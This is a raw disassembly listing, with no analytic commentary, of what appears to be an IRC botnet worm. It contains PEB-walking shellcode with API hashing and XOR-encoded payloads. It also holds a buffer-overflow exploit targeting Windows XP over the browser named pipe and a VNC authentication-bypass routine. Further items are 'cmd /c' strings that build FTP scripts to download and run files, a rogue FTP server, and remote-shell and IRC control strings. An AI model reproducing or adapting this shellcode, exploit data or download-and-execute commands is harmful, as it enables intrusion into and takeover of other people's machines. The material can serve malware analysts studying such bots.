mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_432602: ; CODE XREF: sub_4325B2:loc_4325C8j
; sub_4325B2:loc_432602j
jmp short loc_432602
sub_4325B2 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_432608 proc near ; DATA XREF: ___:0040D30Ao
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_43265A
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_432625: ; CODE XREF: sub_432608+38j
jecxz short loc_432655
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_432630: ; CODE XREF: sub_432608+32j
lodsb
test al, al
jz short loc_43263C
ror edx, 0Dh
add edx, eax
jmp short loc_432630
; ---------------------------------------------------------------------------
loc_43263C: ; CODE XREF: sub_432608+2Bj
cmp edx, [esp+arg_0]
jnz short loc_432625
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_432655: ; CODE XREF: sub_432608:loc_432625j
mov [esp+arg_0], ebx
retn
sub_432608 endp
; =============== S U B R O U T I N E =======================================
sub_43265A proc near ; CODE XREF: sub_432608+7p
; FUNCTION CHUNK AT 00432692 SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_432673
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_43267E
; ---------------------------------------------------------------------------
loc_432673: ; CODE XREF: sub_43265A+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_43267E: ; CODE XREF: sub_43265A+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_432692
sub_43265A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432685 proc near ; CODE XREF: sub_43265A:loc_432692p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_432685 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_43265A
loc_432692: ; CODE XREF: sub_43265A+29j
call sub_432685
loc_432697: ; DATA XREF: sub_40CADB+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_43265A
; ---------------------------------------------------------------------------
dw 0
dword_43269C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
dword_4326A8 dd 30h ; DATA XREF: sub_40CADB+2CAo
dword_4326AC dd 0A1h ; DATA XREF: sub_40CADB+29Fo
dword_4326B0 dd 3 ; DATA XREF: sub_40CADB+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CADB+153o
align 4
loc_4326BC: ; DATA XREF: sub_40CADB+E8o
jmp short near ptr dword_4326C4
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_4326C4 dd 0 ; CODE XREF: ___:loc_4326BCj
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040D331o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 10h
dword_432730 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co
; ---------------------------------------------------------------------------
loc_43273C: ; CODE XREF: ___:00432746j
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_43273C
inc edi
jz short loc_432783
and eax, 952CE753h
inc esp
jle short loc_4327AB
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_432783: ; CODE XREF: ___:00432749j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_4327E2+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_4327A8: ; CODE XREF: ___:004327D5j
xor [esi-25h], bl
loc_4327AB: ; CODE XREF: ___:00432751j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_4327C4: ; CODE XREF: ___:004327F7j
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_4327A8
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_4327E2: ; CODE XREF: ___:00432789j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_43286E
jo short loc_4327C4
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_432805+1
add bl, [edi]
loc_432805: ; CODE XREF: ___:00432801j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_43281A+2
cmp ch, bh
dec edx
loc_43281A: ; CODE XREF: ___:00432815j
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_43286E: ; CODE XREF: ___:004327F5j
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_4328F4
sub al, 0BCh
jmp near ptr 54452C62h
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_432890 dd 0EFFFC481h, 44FFFFh, 4328DCh ; DATA XREF: ___:0040DC33o
dword_43289C dd 42Ah ; DATA XREF: ___:0040DBE6r
dword_4328A0 dd 3E8h ; DATA XREF: ___:0040DC57r
dword_4328A4 dd 258h ; DATA XREF: ___:0040DC29r
byte_4328A8 db 1 ; DATA XREF: ___:0040DB92r
; ___:0040DC60r
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_4328C0 dd 20804h ; DATA XREF: sub_40D8A0r ___:0040DC7Eo ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004328ACo
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_4328F4: ; CODE XREF: ___:00432878j
push eax
xor al, 29h
loc_4328F7: ; DATA XREF: ___:0040DBBAo
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 10h
dword_432900 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAEAo
dword_432914 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Eo
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Do
align 4
aSIpc db '\\%s\ipc$',0
align 4
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40DFE3+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4329BC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 10h
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Do
align 10h
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E29Ao
align 10h
word_433C00 dw 1 ; DATA XREF: ___:0040E211r
align 4
dword_433C04 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
; DATA XREF: sub_419C65+21o
dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
dd 0
aFtpTransferCom db 'ftp transfer complete to: %s',0
align 4
a226TransferCom db '226 Transfer complete.',0Ah,0
aFtpTransferSta db 'ftp transfer started to: %s',0
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
align 4
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 4
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 4
a226TransferC_0 db '226 Transfer complete',0Ah,0
align 10h
aList_0 db 'LIST',0
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: ___:00438368o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: ___:00438374o
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass_0 db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_3 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
unk_433EEC db 2Dh ; - ; DATA XREF: sub_40F0D6+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_433F14 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D6+2CFo
; sub_41A4D2+F5o
align 4
aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D6+269o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F531+98o
; sub_41AA43+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_40F531+5Fo
align 4
unk_434134 db 2Dh ; - ; DATA XREF: sub_40F6B4+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_37 db ' failed to start worker thread, error %d',0
align 4
unk_43416C db 2Dh ; - ; DATA XREF: sub_40F6B4+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 10h
asc_4341A0: ; DATA XREF: sub_40F6B4+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_40F6B4+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40F96B+652o
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40F96B+61Co
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96B+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+328o
; sub_40F96B+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o
align 10h
aS db '<%s>',0 ; DATA XREF: sub_40F96B+2E9o
; sub_40F96B+40Bo
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo
aAm db 'AM',0 ; DATA XREF: sub_40F96B+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_40F96B+28Ao
align 10h
a__ db '..',0 ; DATA XREF: sub_40F96B+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96B+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_434648 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Eo
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410313o
dword_43468C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B8o
aClientConnecti db '- client connection from %s:%d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0
unk_4346F4 db 2Dh ; - ; DATA XREF: ___:00410494o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_43473C db 2Dh ; - ; DATA XREF: ___:004106E6o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0
unk_43477C db 2Dh ; - ; DATA XREF: ___:0041061Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
unk_4347C0 db 2Dh ; - ; DATA XREF: ___:004109A9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4347EC db 2Dh ; - ; DATA XREF: ___:00410982o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_434818 db 2Dh ; - ; DATA XREF: ___:00410962o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410932o
align 4
unk_434854 db 2Dh ; - ; DATA XREF: ___:004108A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 10h
unk_434880 db 2Dh ; - ; DATA XREF: sub_4109C5:loc_410A0Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_4348AC dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_410A1F+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
unk_434A48 db 2Dh ; - ; DATA XREF: sub_410CD6+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_434A7C db 2Dh ; - ; DATA XREF: sub_410CD6+59o
; sub_410CD6+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_434AC4 db 2Dh ; - ; DATA XREF: sub_410E27+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_434AEC db 2Dh ; - ; DATA XREF: sub_410E27+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_434B2C db 2Dh ; - ; DATA XREF: sub_410E27+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B6C db 2Dh ; - ; DATA XREF: sub_410F20+C3o
db 3, 34h, 2
db 72h ; r
